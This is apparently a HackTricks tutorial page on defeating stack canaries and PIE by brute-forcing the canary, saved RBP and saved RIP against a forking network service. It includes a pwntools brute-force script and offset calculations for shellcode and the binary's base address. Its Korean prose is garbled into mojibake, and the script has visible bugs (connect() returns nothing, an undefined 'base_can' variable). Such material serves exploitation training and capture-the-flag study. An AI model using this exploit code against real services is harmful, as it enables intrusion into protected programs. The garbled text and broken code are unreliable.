BF Addresses in the Stack
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ง์ฝ ๋น์ ์ด canary์ PIE (Position Independent Executable)๋ก ๋ณดํธ๋ ๋ฐ์ด๋๋ฆฌ์ ์ง๋ฉดํด ์๋ค๋ฉด, ์ด๋ฅผ ์ฐํํ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํ ๊ฒ์ ๋๋ค.
.png)
Note
**
checksec**๊ฐ ๋ฐ์ด๋๋ฆฌ๊ฐ canary๋ก ๋ณดํธ๋๊ณ ์๋ค๋ ๊ฒ์ ์ฐพ์ง ๋ชปํ ์ ์์ต๋๋ค. ์ด๋ ์ ์ ์ผ๋ก ์ปดํ์ผ๋์๊ณ ํจ์๋ฅผ ์๋ณํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
๊ทธ๋ฌ๋ ํจ์ ํธ์ถ์ ์์ ๋ถ๋ถ์์ ์คํ์ ๊ฐ์ด ์ ์ฅ๋๊ณ ์ด ๊ฐ์ด ์ข ๋ฃ ์ ์ ํ์ธ๋๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ฉด ์๋์ผ๋ก ์ด๋ฅผ ์ ์ ์์ต๋๋ค.
Brute-Force Addresses
PIE๋ฅผ ์ฐํํ๊ธฐ ์ํด๋ ์ฃผ์๋ฅผ ์ ์ถํด์ผ ํฉ๋๋ค. ๋ฐ์ด๋๋ฆฌ๊ฐ ์ฃผ์๋ฅผ ์ ์ถํ์ง ์๋ ๊ฒฝ์ฐ, ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ์ทจ์ฝํ ํจ์์์ ์คํ์ ์ ์ฅ๋ RBP์ RIP๋ฅผ ๋ธ๋ฃจํธํฌ์คํ๋ ๊ฒ์
๋๋ค.
์๋ฅผ ๋ค์ด, ๋ฐ์ด๋๋ฆฌ๊ฐ canary์ PIE๋ก ๋ณดํธ๋๊ณ ์๋ค๋ฉด, canary๋ฅผ ๋ธ๋ฃจํธํฌ์คํ ํ ๋ค์ 8 ๋ฐ์ดํธ(x64)๋ ์ ์ฅ๋ RBP๊ฐ ๋๊ณ , ๋ค์ 8 ๋ฐ์ดํธ๋ ์ ์ฅ๋ RIP๊ฐ ๋ฉ๋๋ค.
Tip
์คํ ๋ด์ ๋ฐํ ์ฃผ์๋ ์ฃผ ๋ฐ์ด๋๋ฆฌ ์ฝ๋์ ์ํ๋ค๊ณ ๊ฐ์ ํฉ๋๋ค. ์ทจ์ฝ์ ์ด ๋ฐ์ด๋๋ฆฌ ์ฝ๋์ ์์นํด ์๋ค๋ฉด, ์ผ๋ฐ์ ์ผ๋ก ์ด ๊ฒฝ์ฐ๊ฐ ๋ฉ๋๋ค.
๋ฐ์ด๋๋ฆฌ์์ RBP์ RIP๋ฅผ ๋ธ๋ฃจํธํฌ์คํ๊ธฐ ์ํด, ํ๋ก๊ทธ๋จ์ด ๋ฌด์ธ๊ฐ๋ฅผ ์ถ๋ ฅํ๊ฑฐ๋ ๋จ์ํ ์ถฉ๋ํ์ง ์์ผ๋ฉด ์ ํจํ ์ถ์ธก ๋ฐ์ดํธ๊ฐ ๋ง๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค. canary๋ฅผ ๋ธ๋ฃจํธํฌ์คํ๊ธฐ ์ํด ์ ๊ณต๋ ๋์ผํ ํจ์๋ฅผ ์ฌ์ฉํ์ฌ RBP์ RIP๋ฅผ ๋ธ๋ฃจํธํฌ์คํ ์ ์์ต๋๋ค:
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
PIE๋ฅผ ๋ฌด๋๋จ๋ฆฌ๊ธฐ ์ํด ํ์ํ ๋ง์ง๋ง ๊ฒ์ ์ ์ถ๋ ์ฃผ์์์ ์ ์ฉํ ์ฃผ์๋ฅผ ๊ณ์ฐํ๋ ๊ฒ์ ๋๋ค: RBP์ RIP์ ๋๋ค.
RBP๋ฅผ ์ฌ์ฉํ์ฌ ์คํ์ ์ ธ์ ์ด๋์ ์ฐ๊ณ ์๋์ง ๊ณ์ฐํ ์ ์์ต๋๋ค. ์ด๋ ์คํ ๋ด์์ ๋ฌธ์์ด _โ/bin/sh\x00โ_์ ์ธ ์์น๋ฅผ ์๋ ๋ฐ ๋งค์ฐ ์ ์ฉํ ์ ์์ต๋๋ค. ์ ์ถ๋ RBP์ ์ ธ์ฝ๋ ๊ฐ์ ๊ฑฐ๋ฆฌ๋ฅผ ๊ณ์ฐํ๋ ค๋ฉด RBP๋ฅผ ์ ์ถํ ํ์ ๋ธ๋ ์ดํฌํฌ์ธํธ๋ฅผ ์ค์ ํ๊ณ ์ ธ์ฝ๋๊ฐ ์ด๋์ ์์นํ๋์ง ํ์ธํ ๋ค์, ์ ธ์ฝ๋์ RBP ๊ฐ์ ๊ฑฐ๋ฆฌ๋ฅผ ๊ณ์ฐํ ์ ์์ต๋๋ค:
INI_SHELLCODE = RBP - 1152
RIP์์ PIE ๋ฐ์ด๋๋ฆฌ์ ๊ธฐ๋ณธ ์ฃผ์๋ฅผ ๊ณ์ฐํ ์ ์์ผ๋ฉฐ, ์ด๋ ์ ํจํ ROP ์ฒด์ธ์ ์์ฑํ๋ ๋ฐ ํ์ํฉ๋๋ค.
๊ธฐ๋ณธ ์ฃผ์๋ฅผ ๊ณ์ฐํ๋ ค๋ฉด objdump -d vunbinary๋ฅผ ์คํํ๊ณ ์ต์ ์ฃผ์๋ฅผ ๋ถํดํ์ฌ ํ์ธํ์ธ์:
.png)
์ด ์์ ์์๋ ๋ชจ๋ ์ฝ๋๋ฅผ ์ฐพ๋ ๋ฐ 1๋ฐ์ดํธ ๋ฐ๋ง ํ์ํ๋ค๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด ์ํฉ์์ ๊ธฐ๋ณธ ์ฃผ์๋ ์ ์ถ๋ RIP์ โ000โ์ผ๋ก ๋๋๋ ๊ฒ์
๋๋ค. ์๋ฅผ ๋ค์ด, 0x562002970ecf๊ฐ ์ ์ถ๋์๋ค๋ฉด ๊ธฐ๋ณธ ์ฃผ์๋ 0x562002970000์
๋๋ค.
elf.address = RIP - (RIP & 0xfff)
๊ฐ์ ์ฌํญ
์ด ๊ฒ์๋ฌผ์ ์ผ๋ถ ๊ด์ฐฐ์ ๋ฐ๋ฅด๋ฉด, RBP ๋ฐ RIP ๊ฐ์ ๋์ถํ ๋, ์๋ฒ๊ฐ ์ฌ๋ฐ๋ฅด์ง ์์ ์ผ๋ถ ๊ฐ์ผ๋ก ์ถฉ๋ํ์ง ์์ ์ ์์ผ๋ฉฐ BF ์คํฌ๋ฆฝํธ๋ ์ฌ๋ฐ๋ฅธ ๊ฐ์ ์ป์๋ค๊ณ ์๊ฐํ ์ ์์ต๋๋ค. ์ด๋ ์ผ๋ถ ์ฃผ์๋ ์ ํํ ๊ฐ์ด ์๋๋๋ผ๋ ์ถฉ๋ํ์ง ์์ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
ํด๋น ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ์ ๋ฐ๋ฅด๋ฉด ์๋ฒ์ ๋ํ ์์ฒญ ์ฌ์ด์ ์งง์ ์ง์ฐ์ ์ถ๊ฐํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


